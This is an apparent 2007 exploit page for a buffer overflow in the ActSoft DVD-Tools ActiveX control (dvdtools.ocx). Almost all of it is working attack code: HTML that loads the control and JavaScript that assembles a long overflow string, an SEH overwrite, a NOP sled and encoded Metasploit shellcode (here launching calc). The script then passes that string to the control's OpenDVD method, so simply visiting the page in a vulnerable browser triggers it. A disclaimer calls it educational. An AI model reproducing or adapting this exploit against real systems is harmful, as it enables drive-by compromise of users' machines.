Rated as : Moderate Risk
<!--
===============================================================================================
ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow
Exploit
By Umesh Wanve
==============================================================================================
Date : 30-03-2007
Tested on Windows 2000 SP4 Server English
Windows 2000 SP4 Professional English
PS. This was written for educational purpose. Use it at your own
risk.Author will be not be
responsible for any damage.
Always thanks to Metasploit and Stroke
-->
<html>
<title>
ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit- By Umesh Wanve
</title>
<object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE' id='test'
></object>
<script>
var
nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90");
var pointer_to_seh=unescape("%eb%06%90%90");
var seh_handler=unescape("%a9%11%02%75");
<!-- win32_exec - EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2
http://metasploit.com -->
var shellcode=
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49")+
unescape("%49%49%49%49%49%49%49%49%49%48%49%49%51%5a%6a%64")+
unescape("%58%30%41%31%50%42%41%6b%41%41%74%32%41%42%41%32")+
unescape("%42%41%30%42%41%58%38%41%42%50%75%4a%49%6b%4c%79")+
unescape("%78%67%34%45%50%43%30%73%30%4c%4b%72%65%55%6c%4c")+
unescape("%4b%53%4c%53%35%70%78%54%41%7a%4f%6c%4b%72%6f%42")+
unescape("%38%6e%6b%51%4f%35%70%57%71%7a%4b%43%79%4c%4b%77")+
unescape("%44%4e%6b%74%41%48%6e%50%31%79%50%6d%49%6e%4c%6b")+
unescape("%34%6b%70%53%44%76%67%6a%61%4a%6a%44%4d%54%41%5a")+
unescape("%62%6a%4b%4b%44%37%4b%61%44%71%34%65%54%32%55%58")+
unescape("%65%6e%6b%63%6f%55%74%34%41%4a%4b%70%66%6e%6b%54")+
unescape("%4c%70%4b%6e%6b%73%6f%45%4c%76%61%78%6b%6c%4b%55")+
unescape("%4c%4c%4b%44%41%48%6b%4d%59%73%6c%57%54%75%54%6a")+
unescape("%63%54%71%4b%70%65%34%6c%4b%37%30%54%70%6c%45%4f")+
unescape("%30%73%48%54%4c%4e%6b%37%30%74%4c%4c%4b%50%70%67")+
unescape("%6c%4c%6d%4c%4b%62%48%45%58%38%6b%76%69%6e%6b%4f")+
unescape("%70%4e%50%45%50%47%70%37%70%6c%4b%32%48%47%4c%51")+
unescape("%4f%30%31%6b%46%43%50%61%46%6e%69%48%78%6d%53%4f")+
unescape("%30%61%6b%66%30%31%78%58%70%4d%5a%34%44%61%4f%55")+
unescape("%38%6e%78%6b%4e%6d%5a%34%4e%73%67%49%6f%6d%37%33")+
unescape("%53%31%71%70%6c%65%33%45%50%64");
var buff="";
for (i=0;i<432;i++) buff=buff+"A";
<!-- Buffer ------ Short Jump to Shellcode ----- Pop Pop ret
---- NOP SLED ---- Hellcode --------->
buff = buff + pointer_to_seh + seh_handler +
nop+nop + shellcode +nop+nop;
var attack = document.getElementById('test');
attack.OpenDVD(buff);
</script>
</body>
</html>
securitydot.net - 2007-03-30
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